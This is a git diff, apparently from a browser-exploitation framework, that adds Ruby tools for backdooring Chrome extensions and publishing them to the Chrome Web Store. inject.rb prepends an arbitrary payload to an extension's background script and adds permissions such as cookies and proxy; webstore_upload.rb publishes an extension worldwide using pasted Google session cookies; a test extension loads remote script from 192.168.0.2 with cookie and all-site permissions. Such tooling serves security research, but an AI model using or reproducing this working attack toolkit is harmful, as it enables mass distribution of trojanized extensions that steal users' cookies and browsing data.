diff --git a/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb b/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb
new file mode 100644
index 000000000..078870fca
--- /dev/null
+++ b/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb
@@ -0,0 +1,135 @@
+#!/usr/bin/env ruby
+# encoding: UTF-8
+
+# Authors:
+# Krzysztof Kotowicz - @kkotowicz
+
+require 'rubygems'
+require 'json'
+require 'securerandom'
+
+class ChromeExtensionToolkit
+ @ext = ''
+ @manifest
+ BCG_SCRIPT = 1
+ BCG_PAGE = 2
+
+ def initialize(extpath)
+ raise ArgumentError, "Empty extension path" unless extpath
+ raise ArgumentError, "Invalid extension path" unless File.directory?(extpath)
+ @ext = extpath
+ end
+
+ def reload_manifest()
+ f = get_file('manifest.json')
+ manifest = File.read(f).sub("\xef\xbb\xbf", '')
+ manifest = JSON.parse(manifest)
+ set_manifest(manifest)
+ return manifest
+ end
+
+ def get_manifest()
+ if @manifest
+ return @manifest
+ end
+
+ return reload_manifest()
+ end
+
+ def set_manifest(manifest)
+ @manifest = manifest
+ end
+
+ def save_manifest()
+ save_file('manifest.json', JSON.pretty_generate(@manifest))
+ end
+
+ def save_file(file, contents)
+ File.open(get_file(file), 'w') {|f| f.write contents }
+ end
+
+ def get_file(file)
+ return File.join(@ext, file)
+ end
+
+ def assert_not_app()
+ manifest = get_manifest()
+ raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app']
+ end
+
+ def inject_script(payload)
+ assert_not_app()
+ assert_background_page('injector_bg') # add page to extensions that don't have one
+ bcg_file = get_file(get_background_page())
+
+ if File.exist?(bcg_file)
+ bcg = File.read(bcg_file)
+ else
+ bcg = ""
+ end
+
+ if not payload
+ return bcg
+ end
+
+ if bcg_file.end_with? ".js" # js file, just prepend payload
+ return payload + ";" + bcg
+ end
+
+ name = SecureRandom.hex + '.js'
+ save_file(name, payload)
+ return bcg.sub(/(\
|\Z)/i, "\\1\n")
+ end
+
+ def assert_background_page(default)
+ manifest = get_manifest()
+ if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2
+ if manifest['background'].nil?
+ manifest['background'] = {}
+ end
+
+ if manifest['background']['page']
+ return BCG_PAGE
+ end
+
+ if not manifest['background']['scripts'].nil?
+ manifest['background']['scripts'].unshift(default + '.js')
+ set_manifest(manifest)
+ return BCG_SCRIPT
+ else
+
+ manifest['background']['scripts'] = [default + '.js']
+ set_manifest(manifest)
+ return BCG_SCRIPT
+ end
+ end
+ if not manifest['background_page']
+ manifest['background_page'] = default + '.html'
+ end
+ set_manifest(manifest)
+ return BCG_PAGE
+ end
+
+ def add_permissions(perms)
+ manifest = get_manifest()
+ manifest['permissions'] += perms
+ manifest['permissions'].uniq!
+ set_manifest(manifest)
+ end
+
+ def get_background_page()
+ manifest = get_manifest()
+ if manifest['background'] and manifest['background']['page']
+ return manifest['background']['page']
+ end
+
+ if manifest['background'] and manifest['background']['scripts']
+ return manifest['background']['scripts'][0]
+ end
+
+ if manifest['background_page']
+ return manifest['background_page']
+ end
+ raise RuntimeError, "No background page present"
+ end
+end
diff --git a/tools/chrome_extensions_exploitation/injector/inject.rb b/tools/chrome_extensions_exploitation/injector/inject.rb
new file mode 100755
index 000000000..a79500e00
--- /dev/null
+++ b/tools/chrome_extensions_exploitation/injector/inject.rb
@@ -0,0 +1,53 @@
+#!/usr/bin/env ruby
+# encoding: UTF-8
+
+# Authors:
+# Krzysztof Kotowicz - @kkotowicz
+
+require_relative 'chrome_extension_toolkit.rb'
+
+def help()
+ puts "[-] Error. Usage: ruby inject.rb [permissions] < script.js"
+ puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js"
+ exit 1
+end
+
+begin
+ extpath = ARGV[0]
+ if not extpath
+ help()
+ end
+ t = ChromeExtensionToolkit.new(extpath)
+ puts "Loaded extension in #{extpath}"
+
+ manifest = t.get_manifest()
+ puts "Existing manifest: "
+ puts manifest
+
+ # injecting any script from stdin
+ puts "Reading payload..."
+ payload = $stdin.read
+ puts "Injecting payload..."
+
+ injected = t.inject_script(payload)
+
+ print injected
+
+ if ARGV[1]
+ perms = ARGV[1].split(',')
+ puts "Adding permissions #{ARGV[1]}..."
+ t.add_permissions(perms)
+ end
+
+ puts "Saving..."
+ # write
+ t.save_file(t.get_background_page(), injected)
+ t.save_manifest()
+
+ puts "Done."
+
+rescue Exception => e
+ $stderr.puts e.message
+ $stderr.puts e.backtrace.inspect
+ exit 1
+end
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample b/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample
new file mode 100644
index 000000000..c4e7741d0
--- /dev/null
+++ b/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample
@@ -0,0 +1,22 @@
+# Authors:
+# Michele '@antisnatchor' Orru
+
+# 1. Login at https://chrome.google.com/webstore/developer/dashboard/
+# 2. Pay your $5 one time fee
+# 3. Get SID, SSID, HSID cookies and paste their values below
+
+# if you want to proxy request through Burp, USE_PROXY = true
+USE_PROXY = false
+PROXY_HOST = "127.0.0.1"
+PROXY_PORT = 9090
+
+HTTP_READ_OPEN_TIMEOUT = 30 # seconds
+
+G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX
+
+# these are the only 3 session cookies needed, the rest of the cookies are not needed.
+# you get these cookies when you are successfully authenticated on
+SID = ""
+SSID = ""
+HSID = ""
+
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip
new file mode 100644
index 000000000..f78442973
Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip differ
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js
new file mode 100644
index 000000000..8ee03a536
--- /dev/null
+++ b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js
@@ -0,0 +1,5 @@
+d=document;
+e=d.createElement('script');
+e.src="https://192.168.0.2/ciccio.js";
+d.body.appendChild(e);
+
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png
new file mode 100644
index 000000000..58a6ecc85
Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png differ
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png
new file mode 100644
index 000000000..855e228e8
Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png differ
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png
new file mode 100644
index 000000000..2f4cd2b7c
Binary files /dev/null and b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png differ
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json
new file mode 100644
index 000000000..9f2dbdf06
--- /dev/null
+++ b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json
@@ -0,0 +1,21 @@
+{
+ "name": "Test extension",
+ "manifest_version": 2,
+ "version": "1.0",
+ "description": "Test extension",
+ "background": {
+ "scripts": ["background.js"]
+ },
+ "content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'",
+ "icons": {
+ "16": "icon16.png",
+ "48": "icon48.png",
+ "128": "icon128.png"
+ },
+ "permissions": [
+ "tabs",
+ "http://*/*",
+ "https://*/*",
+ "cookies"
+ ]
+}
diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb b/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb
new file mode 100644
index 000000000..79feb6af5
--- /dev/null
+++ b/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb
@@ -0,0 +1,289 @@
+# encoding: UTF-8
+require 'rubygems'
+require 'net/https'
+require 'json'
+require 'zip'
+require 'json'
+
+# Authors:
+# Michele '@antisnatchor' Orru
+# Krzysztof Kotowicz - @kkotowicz
+# README:
+# Before running the script, make sure you change the following 4 variables in config.rb:
+# G_PUBLISHER_ID, SID, SSID, HSID
+#
+# You can retrieve all these values after you're successfully authenticated in the WebStore, see comments
+# in the config.rb.sample. Rename it ro config.rb when done.
+#
+
+require_relative 'config.rb'
+
+def help()
+ puts "[-] Error. Usage: ruby webstore_upload.rb [description_file] [screenshot_file]"
+ exit 1
+end
+
+zip_name = ARGV[0]
+if zip_name == nil
+ help()
+end
+EXT_ZIP_NAME = zip_name
+
+mode = ARGV[1]
+action = nil
+if mode == nil
+ help()
+elsif mode == "publish"
+ action = "publish"
+elsif mode == "save"
+ action = "save_and_return_to_dashboard"
+ #action = "save"
+else
+ help()
+end
+ACTION = action
+
+if !File.exists?(EXT_ZIP_NAME)
+ puts "[-] Error: #{EXT_ZIP_NAME} does not exist"
+ help()
+end
+
+if ARGV[2] != nil and File.exists?(ARGV[2])
+ DESCRIPTION = File.new(ARGV[2]).read()
+ puts "[*] Using description from #{ARGV[2]}"
+else
+ DESCRIPTION = ""
+end
+
+if ARGV[3] != nil and File.exists?(ARGV[3])
+ SCREENSHOT_NAME = ARGV[3]
+ puts "[*] Using screenshot from #{SCREENSHOT_NAME}"
+end
+
+# general get/post request handler
+def request(uri, method, headers, post_body)
+ uri = URI(uri)
+ http = nil
+ if USE_PROXY
+ http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
+ else
+ http = Net::HTTP.new(uri.host, uri.port)
+ end
+
+ http.read_timeout = HTTP_READ_OPEN_TIMEOUT
+ http.open_timeout = HTTP_READ_OPEN_TIMEOUT
+ if uri.scheme == "https"
+ http.use_ssl = true
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+ end
+
+ request = nil
+ if method == "POST"
+ request = Net::HTTP::Post.new(uri.request_uri, headers)
+ if post_body.is_a?(Hash)
+ request.set_form_data(post_body) # post_body as in: {"key" => "value"}
+ else
+ request.body = post_body # post_body as in: {"key" => "value"}
+ end
+ else # otherwise GET
+ request = Net::HTTP::Get.new(uri.request_uri, headers)
+ end
+
+ begin
+ response = http.request(request)
+
+ case response
+ when Net::HTTPSuccess
+ then
+ return response
+ when Net::HTTPRedirection # if you get a 3xx response
+ then
+ return response
+ else
+ return nil
+ end
+ rescue SocketError => se # domain not resolved
+ return nil
+ rescue Timeout::Error => timeout # timeout in open/read
+ return nil
+ rescue Errno::ECONNREFUSED => refused # connection refused
+ return nil
+ rescue Exception => e
+ #puts e.message
+ #puts e.backtrace
+ return nil
+ end
+end
+
+# raw request to upload the extension.zip file data
+def request_octetstream(uri, headers)
+ file = File.new(EXT_ZIP_NAME)
+
+ uri = URI(uri)
+ req = Net::HTTP::Post.new(uri.request_uri, headers)
+
+ post_body = []
+ post_body << File.read(file)
+ req.body = post_body.join
+ req["Content-Type"] = "application/octet-stream"
+
+ http = nil
+ if USE_PROXY
+ http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
+ else
+ http = Net::HTTP.new(uri.host, uri.port)
+ end
+
+ http.read_timeout = HTTP_READ_OPEN_TIMEOUT
+ http.open_timeout = HTTP_READ_OPEN_TIMEOUT
+ if uri.scheme == "https"
+ http.use_ssl = true
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+ end
+ response = http.request(req)
+ return response
+end
+
+# defaults to English Language and Productivity category
+def send_publish_request(uri, cx_auth_t, headers, action="publish")
+
+ uri = URI(uri)
+ req = Net::HTTP::Post.new(uri.request_uri, headers)
+ boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s)
+
+ fields = {
+ "action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "",
+ "official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1",
+ "cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1",
+ "cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1",
+ "cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1",
+ "cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1",
+ "cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1",
+ "cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1",
+ "language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC",
+ "ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "",
+ }
+
+ post_body = []
+ post_body << "-----------------------------#{boundary}\r\n"
+ fields.each do |key,value|
+ if key == "screenshot"
+ # screenshot must be treated differently
+ post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n"
+ post_body << "Content-Type: application/octet-stream\r\n\r\n"
+ post_body << (value ? File.read(value) : '')
+ post_body << "\r\n"
+ post_body << "-----------------------------#{boundary}\r\n"
+ next
+ elsif key == "logo128-image"
+ post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n"
+ post_body << "Content-Type: application/octet-stream\r\n\r\n"
+ post_body << ICON
+ post_body << "\r\n"
+ post_body << "-----------------------------#{boundary}\r\n"
+ next
+ end
+ post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n"
+ post_body << "\r\n"
+ post_body << "#{value}\r\n"
+ if key == "logo128-image"
+ post_body << "-----------------------------#{boundary}--\r\n"
+ break
+ else
+ post_body << "-----------------------------#{boundary}\r\n"
+ end
+ end
+
+ req.body = post_body.join
+
+
+ req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}"
+
+ http = nil
+ if USE_PROXY
+ http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
+ else
+ http = Net::HTTP.new(uri.host, uri.port)
+ end
+
+ http.read_timeout = HTTP_READ_OPEN_TIMEOUT
+ http.open_timeout = HTTP_READ_OPEN_TIMEOUT
+ if uri.scheme == "https"
+ http.use_ssl = true
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+ end
+ response = http.request(req)
+ return response
+end
+
+puts "[+] Reading manifest..."
+Zip::File.open(EXT_ZIP_NAME) do |zip_file|
+ entry = zip_file.glob('manifest.json').first
+ manifest = JSON.parse(entry.get_input_stream.read)
+ ICON_NAME = manifest['icons']['128']
+ puts "[+] Found icon: #{ICON_NAME}"
+ ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read
+ ICON.force_encoding 'utf-8'
+end
+
+upload_url = "https://chrome.google.com/webstore/developer/upload"
+post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+
+'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+
+'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+
+'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+
+'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}'
+
+auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"}
+
+upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body)
+upload_status = JSON.parse(upload_auth_resp.body)
+if upload_status['errorMessage'] == nil
+ upload_id = upload_status['sessionStatus']['upload_id']
+ upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000"
+
+ puts "[+] Uploading ZIP..."
+ response = request_octetstream(upload_url, auth_headers)
+
+ upload_status = JSON.parse(response.body)
+ if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED"
+ extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id']
+ puts "[+] Extension uploaded successful. Extension ID: #{extension_id}"
+
+ # Last request, to Publish the extension, requires Language/Category to be set.
+ # A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value,
+ # then send the final multipart/form-data request with that value inside.
+ puts "[+] Fetching edit page..."
+ edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}"
+ edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil)
+
+ cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first
+ if cx_action_t.index('<') != nil # error
+ puts ['[-] Error: Session invalid, update cookies values']
+ exit 1
+ end
+ puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}"
+ puts "[+] Sending #{ACTION} request..."
+ edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION)
+
+ if edit_ext_resp.is_a?(Net::HTTPRedirection)
+ puts "[+] Extension details (category/language) updated."
+ final_location = edit_ext_resp['Location']
+ if ACTION == 'publish'
+ puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}"
+ else
+ puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}"
+ end
+ else
+ if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:')
+ errors = edit_ext_resp.body.split("Please fix the following errors:").first.gsub(/<[^>]*>/ui,' ')
+ puts "[-] Errors: #{errors}"
+ end
+ puts "[-] Error updating extension details. Anyway, the extension is uploaded."
+ end
+ else
+ puts "[-] Error: #{upload_status['errorMessage']}"
+ end
+
+else
+ puts "[-] Error: #{upload_status['errorMessage']}"
+end